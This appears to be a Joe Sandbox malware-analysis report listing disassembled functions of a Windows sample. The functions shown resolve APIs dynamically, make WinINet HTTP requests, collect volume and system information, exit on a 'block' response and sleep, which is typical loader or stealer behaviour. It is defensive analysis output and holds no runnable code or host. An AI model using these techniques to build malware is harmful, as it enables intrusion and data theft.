Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: c9fd847d001c8fb8ed099c9661721d5eb62331a06d08e46169188bcfc9b09644
Instruction ID: 0759b7305431c57cc2b3699d01dffbf2feb30131518bfc2eb447542da7c1595e
Opcode Fuzzy Hash: c9fd847d001c8fb8ed099c9661721d5eb62331a06d08e46169188bcfc9b09644
Instruction Fuzzy Hash: B5F04FB1944248AFCB04DF99DD89FAEBBB8EB04711F10026AFA05A2680D77525048BA2

Function 00CA1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00CA116A
ExitProcess.KERNEL32 ref: 00CA117E

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 18aa04da5e6ff873a807d90a039b94c9599eda26641542422d39683604d6552b
Instruction ID: ec702687337f6e576c3cf56484995a1bf2ec359fab07e5ef1d2c860924cfcfc2
Opcode Fuzzy Hash: 18aa04da5e6ff873a807d90a039b94c9599eda26641542422d39683604d6552b
Instruction Fuzzy Hash: 1BD05E7490030CDFCB00DFE1D8896EDBB78FB08316F040569ED0572340EA306486CAA6

Function 00CB9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,009C5528), ref: 00CB9C2D
GetProcAddress.KERNEL32(77190000,009C53E8), ref: 00CB9C45
GetProcAddress.KERNEL32(77190000,009D8E10), ref: 00CB9C5E
GetProcAddress.KERNEL32(77190000,009D8F78), ref: 00CB9C76
GetProcAddress.KERNEL32(77190000,009D8E28), ref: 00CB9C8E
GetProcAddress.KERNEL32(77190000,009DD6C8), ref: 00CB9CA7
GetProcAddress.KERNEL32(77190000,009CA6B8), ref: 00CB9CBF
GetProcAddress.KERNEL32(77190000,009DD788), ref: 00CB9CD7
GetProcAddress.KERNEL32(77190000,009DD758), ref: 00CB9CF0
GetProcAddress.KERNEL32(77190000,009DD710), ref: 00CB9D08
GetProcAddress.KERNEL32(77190000,009DD698), ref: 00CB9D20
GetProcAddress.KERNEL32(77190000,009C54E8), ref: 00CB9D39
GetProcAddress.KERNEL32(77190000,009C5588), ref: 00CB9D51
GetProcAddress.KERNEL32(77190000,009C55C8), ref: 00CB9D69
GetProcAddress.KERNEL32(77190000,009C5648), ref: 00CB9D82
GetProcAddress.KERNEL32(77190000,009DD6E0), ref: 00CB9D9A
GetProcAddress.KERNEL32(77190000,009DD7E8), ref: 00CB9DB2
GetProcAddress.KERNEL32(77190000,009CA820), ref: 00CB9DCB
GetProcAddress.KERNEL32(77190000,009C5708), ref: 00CB9DE3
GetProcAddress.KERNEL32(77190000,009DD7D0), ref: 00CB9DFB
GetProcAddress.KERNEL32(77190000,009DD728), ref: 00CB9E14
GetProcAddress.KERNEL32(77190000,009DD7B8), ref: 00CB9E2C
GetProcAddress.KERNEL32(77190000,009DD740), ref: 00CB9E44
GetProcAddress.KERNEL32(77190000,009C5668), ref: 00CB9E5D
GetProcAddress.KERNEL32(77190000,009DD6F8), ref: 00CB9E75
GetProcAddress.KERNEL32(77190000,009DD6B0), ref: 00CB9E8D
GetProcAddress.KERNEL32(77190000,009DD770), ref: 00CB9EA6
GetProcAddress.KERNEL32(77190000,009DD7A0), ref: 00CB9EBE
GetProcAddress.KERNEL32(77190000,009DD638), ref: 00CB9ED6
GetProcAddress.KERNEL32(77190000,009DD650), ref: 00CB9EEF
GetProcAddress.KERNEL32(77190000,009DD668), ref: 00CB9F07
GetProcAddress.KERNEL32(77190000,009DD680), ref: 00CB9F1F
GetProcAddress.KERNEL32(77190000,009DD200), ref: 00CB9F38
GetProcAddress.KERNEL32(77190000,009CF808), ref: 00CB9F50
GetProcAddress.KERNEL32(77190000,009DD308), ref: 00CB9F68
GetProcAddress.KERNEL32(77190000,009DD218), ref: 00CB9F81
GetProcAddress.KERNEL32(77190000,009C56A8), ref: 00CB9F99
GetProcAddress.KERNEL32(77190000,009DD1A0), ref: 00CB9FB1
GetProcAddress.KERNEL32(77190000,009C56E8), ref: 00CB9FCA
GetProcAddress.KERNEL32(77190000,009DD0B0), ref: 00CB9FE2
GetProcAddress.KERNEL32(77190000,009DD0C8), ref: 00CB9FFA
GetProcAddress.KERNEL32(77190000,009C5388), ref: 00CBA013
GetProcAddress.KERNEL32(77190000,009C53A8), ref: 00CBA02B
LoadLibraryA.KERNEL32(009DD128,?,00CB5CA3,00CC0AEB,?,?,?,?,?,?,?,?,?,?,00CC0AEA,00CC0AE3), ref: 00CBA03D
LoadLibraryA.KERNEL32(009DD1B8,?,00CB5CA3,00CC0AEB,?,?,?,?,?,?,?,?,?,?,00CC0AEA,00CC0AE3), ref: 00CBA04E
LoadLibraryA.KERNEL32(009DD0E0,?,00CB5CA3,00CC0AEB,?,?,?,?,?,?,?,?,?,?,00CC0AEA,00CC0AE3), ref: 00CBA060
LoadLibraryA.KERNEL32(009DD0F8,?,00CB5CA3,00CC0AEB,?,?,?,?,?,?,?,?,?,?,00CC0AEA,00CC0AE3), ref: 00CBA072
LoadLibraryA.KERNEL32(009DD2D8,?,00CB5CA3,00CC0AEB,?,?,?,?,?,?,?,?,?,?,00CC0AEA,00CC0AE3), ref: 00CBA083
LoadLibraryA.KERNEL32(009DD080,?,00CB5CA3,00CC0AEB,?,?,?,?,?,?,?,?,?,?,00CC0AEA,00CC0AE3), ref: 00CBA095
LoadLibraryA.KERNEL32(009DD248,?,00CB5CA3,00CC0AEB,?,?,?,?,?,?,?,?,?,?,00CC0AEA,00CC0AE3), ref: 00CBA0A7
LoadLibraryA.KERNEL32(009DD1D0,?,00CB5CA3,00CC0AEB,?,?,?,?,?,?,?,?,?,?,00CC0AEA,00CC0AE3), ref: 00CBA0B8
GetProcAddress.KERNEL32(77040000,009C5168), ref: 00CBA0DA
GetProcAddress.KERNEL32(77040000,009DD320), ref: 00CBA0F2
GetProcAddress.KERNEL32(77040000,009D8C08), ref: 00CBA10A
GetProcAddress.KERNEL32(77040000,009DD170), ref: 00CBA123
GetProcAddress.KERNEL32(77040000,009C5128), ref: 00CBA13B
GetProcAddress.KERNEL32(704D0000,009CA7A8), ref: 00CBA160
GetProcAddress.KERNEL32(704D0000,009C5068), ref: 00CBA179
GetProcAddress.KERNEL32(704D0000,009CA528), ref: 00CBA191
GetProcAddress.KERNEL32(704D0000,009DD1E8), ref: 00CBA1A9
GetProcAddress.KERNEL32(704D0000,009DD2C0), ref: 00CBA1C2
GetProcAddress.KERNEL32(704D0000,009C4FC8), ref: 00CBA1DA
GetProcAddress.KERNEL32(704D0000,009C5048), ref: 00CBA1F2
GetProcAddress.KERNEL32(704D0000,009DD188), ref: 00CBA20B
GetProcAddress.KERNEL32(768D0000,009C5008), ref: 00CBA22C
GetProcAddress.KERNEL32(768D0000,009C5348), ref: 00CBA244
GetProcAddress.KERNEL32(768D0000,009DD230), ref: 00CBA25D
GetProcAddress.KERNEL32(768D0000,009DD110), ref: 00CBA275
GetProcAddress.KERNEL32(768D0000,009C5088), ref: 00CBA28D
GetProcAddress.KERNEL32(75790000,009CA690), ref: 00CBA2B3
GetProcAddress.KERNEL32(75790000,009CA6E0), ref: 00CBA2CB
GetProcAddress.KERNEL32(75790000,009DD260), ref: 00CBA2E3
GetProcAddress.KERNEL32(75790000,009C50A8), ref: 00CBA2FC
GetProcAddress.KERNEL32(75790000,009C5148), ref: 00CBA314
GetProcAddress.KERNEL32(75790000,009CA618), ref: 00CBA32C
GetProcAddress.KERNEL32(75A10000,009DD140), ref: 00CBA352
GetProcAddress.KERNEL32(75A10000,009C51C8), ref: 00CBA36A
GetProcAddress.KERNEL32(75A10000,009D8C18), ref: 00CBA382
GetProcAddress.KERNEL32(75A10000,009DD278), ref: 00CBA39B
GetProcAddress.KERNEL32(75A10000,009DD290), ref: 00CBA3B3
GetProcAddress.KERNEL32(75A10000,009C5028), ref: 00CBA3CB
GetProcAddress.KERNEL32(75A10000,009C5208), ref: 00CBA3E4
GetProcAddress.KERNEL32(75A10000,009DD2A8), ref: 00CBA3FC
GetProcAddress.KERNEL32(75A10000,009DD038), ref: 00CBA414
GetProcAddress.KERNEL32(76850000,009C5268), ref: 00CBA436
GetProcAddress.KERNEL32(76850000,009DD158), ref: 00CBA44E
GetProcAddress.KERNEL32(76850000,009DD2F0), ref: 00CBA466
GetProcAddress.KERNEL32(76850000,009DD050), ref: 00CBA47F
GetProcAddress.KERNEL32(76850000,009DD068), ref: 00CBA497
GetProcAddress.KERNEL32(75690000,009C51E8), ref: 00CBA4B8
GetProcAddress.KERNEL32(75690000,009C5288), ref: 00CBA4D1
GetProcAddress.KERNEL32(769C0000,009C50C8), ref: 00CBA4F2
GetProcAddress.KERNEL32(769C0000,009DD098), ref: 00CBA50A
GetProcAddress.KERNEL32(6F8C0000,009C50E8), ref: 00CBA530
GetProcAddress.KERNEL32(6F8C0000,009C5228), ref: 00CBA548
GetProcAddress.KERNEL32(6F8C0000,009C5108), ref: 00CBA560
GetProcAddress.KERNEL32(6F8C0000,009DD5A8), ref: 00CBA579
GetProcAddress.KERNEL32(6F8C0000,009C5188), ref: 00CBA591
GetProcAddress.KERNEL32(6F8C0000,009C4F88), ref: 00CBA5A9
GetProcAddress.KERNEL32(6F8C0000,009C51A8), ref: 00CBA5C2
GetProcAddress.KERNEL32(6F8C0000,009C5248), ref: 00CBA5DA
GetProcAddress.KERNEL32(6F8C0000,InternetSetOptionA), ref: 00CBA5F1
GetProcAddress.KERNEL32(6F8C0000,HttpQueryInfoA), ref: 00CBA607
GetProcAddress.KERNEL32(75D90000,009DD578), ref: 00CBA629
GetProcAddress.KERNEL32(75D90000,009D8C78), ref: 00CBA641
GetProcAddress.KERNEL32(75D90000,009DD368), ref: 00CBA659
GetProcAddress.KERNEL32(75D90000,009DD500), ref: 00CBA672
GetProcAddress.KERNEL32(76470000,009C52A8), ref: 00CBA693
GetProcAddress.KERNEL32(6EDA0000,009DD4D0), ref: 00CBA6B4
GetProcAddress.KERNEL32(6EDA0000,009C5368), ref: 00CBA6CD
GetProcAddress.KERNEL32(6EDA0000,009DD5C0), ref: 00CBA6E5
GetProcAddress.KERNEL32(6EDA0000,009DD470), ref: 00CBA6FD

Strings

HttpQueryInfoA, xrefs: 00CBA5FC
InternetSetOptionA, xrefs: 00CBA5E5

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 973cc9c39ccdadcb79aeb5459d19b6e568bedcf3861d8b214c717a023d9fc723
Instruction ID: 5a699504bb1e1ade664a15fed1326831be13067365ea39d19b1012cf4fb2580a
Opcode Fuzzy Hash: 973cc9c39ccdadcb79aeb5459d19b6e568bedcf3861d8b214c717a023d9fc723
Instruction Fuzzy Hash: 9E623DB5500288AFC358DFAAEDC89563BF9F74C30170D853EB605EB264D639B489CB16

Function 00CA6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

Part of subcall function 00CA47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CA4839
Part of subcall function 00CA47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00CA4849

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

InternetOpenA.WININET(00CC0DFE,00000001,00000000,00000000,00000000), ref: 00CA62E1
StrCmpCA.SHLWAPI(?,009DF1A0), ref: 00CA6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CA6335
HttpOpenRequestA.WININET(00000000,GET,?,009DE910,00000000,00000000,00400100,00000000), ref: 00CA6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00CA63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00CA63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00CA63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00CA646D
InternetCloseHandle.WININET(00000000), ref: 00CA64EF
InternetCloseHandle.WININET(00000000), ref: 00CA64F9
InternetCloseHandle.WININET(00000000), ref: 00CA6503

Strings

ERROR, xrefs: 00CA6407
ERROR, xrefs: 00CA64C9
GET, xrefs: 00CA637C

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 54d240771b8b9115aed768506e6f5ef1be74c073b7f9dd75b3e1821b889442a0
Instruction ID: 821f2eaaa3100daacce27fe94924fdfee6ba5dcf93bc0311264cfc71ad0c4119
Opcode Fuzzy Hash: 54d240771b8b9115aed768506e6f5ef1be74c073b7f9dd75b3e1821b889442a0
Instruction Fuzzy Hash: 82716E71A00218AFDB24DFA1CC89FEE7778BB49704F148168F10A6B1D0DBB56A89DF51

Function 00CB5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CBA820: lstrlen.KERNEL32(00CA4F05,?,?,00CA4F05,00CC0DDE), ref: 00CBA82B
Part of subcall function 00CBA820: lstrcpy.KERNEL32(00CC0DDE,00000000), ref: 00CBA885

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CB5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CB56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CB5857

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

Part of subcall function 00CB51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CB5228

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

Part of subcall function 00CB52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CB5318
Part of subcall function 00CB52C0: lstrlen.KERNEL32(00000000), ref: 00CB532F
Part of subcall function 00CB52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00CB5364
Part of subcall function 00CB52C0: lstrlen.KERNEL32(00000000), ref: 00CB5383
Part of subcall function 00CB52C0: lstrlen.KERNEL32(00000000), ref: 00CB53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CB578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CB5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CB5A0C
Sleep.KERNEL32(0000EA60), ref: 00CB5A1B

Strings

ERROR, xrefs: 00CB5849
ERROR, xrefs: 00CB59FE
ERROR, xrefs: 00CB5693
ERROR, xrefs: 00CB5636
ERROR, xrefs: 00CB577D
ERROR, xrefs: 00CB5932

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 0a980de386789ef7630d5d124b253e353bc46bcc807e15733f01f94594e87cc2
Instruction ID: d692b5450978ba25a32251e185c15fdbd5fdb348bd8573a1dc5599290a89b2e9
Opcode Fuzzy Hash: 0a980de386789ef7630d5d124b253e353bc46bcc807e15733f01f94594e87cc2
Instruction Fuzzy Hash: 6CE12F71910208AACB18FBA1DC96EFD737CAF54300F548128F556664D2EF356B0DEBA2

Function 00CB17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00CB17C5
ExitProcess.KERNEL32 ref: 00CB17D1

Strings

block, xrefs: 00CB17B7

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: e5b7ad57c99c756edc16a7d67616acb1051fabcff0390994cf0eceaad7b2abd6
Instruction ID: c1d30408971cdbfadef1f0d3a836b511b8be366a6af87ee958d25f8b4e363225
Opcode Fuzzy Hash: e5b7ad57c99c756edc16a7d67616acb1051fabcff0390994cf0eceaad7b2abd6
Instruction Fuzzy Hash: 45517EB4A00249EFCB04DFA1D9A8BFE77B5BF44340F14806CE816AB240D771EA45DB62

Function 00CB7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00CB7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00CB757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CB7603
RtlAllocateHeap.NTDLL(00000000), ref: 00CB760A
wsprintfA.USER32 ref: 00CB7640

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Strings

\, xrefs: 00CB7560
C, xrefs: 00CB754C
:, xrefs: 00CB755C

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 83a966d59de635146385181dc2708c8775676a659d7bcbd10076bcf98bd192c5
Instruction ID: 915a4fff43fbbfa63e48397389c6c7e686254387625858f9746856247c7c5782
Opcode Fuzzy Hash: 83a966d59de635146385181dc2708c8775676a659d7bcbd10076bcf98bd192c5
Instruction Fuzzy Hash: BE4182B1D04258AFDF10DFA4DC95BEEBBB8AF58700F140199F5097B280DB746A48CBA5

Function 00CB69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009D1738), ref: 00CB98A1
Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009D1768), ref: 00CB98BA
Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009D1678), ref: 00CB98D2
Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009D1618), ref: 00CB98EA
Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009D1510), ref: 00CB9903
Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009D8B48), ref: 00CB991B
Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009C55E8), ref: 00CB9933
Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009C5408), ref: 00CB994C
Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009D16F0), ref: 00CB9964
Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009D16D8), ref: 00CB997C
Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009D15B8), ref: 00CB9995
Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009D1690), ref: 00CB99AD
Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009C5448), ref: 00CB99C5
Part of subcall function 00CB9860: GetProcAddress.KERNEL32(77190000,009D15A0), ref: 00CB99DE

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CA11D0: ExitProcess.KERNEL32 ref: 00CA1211

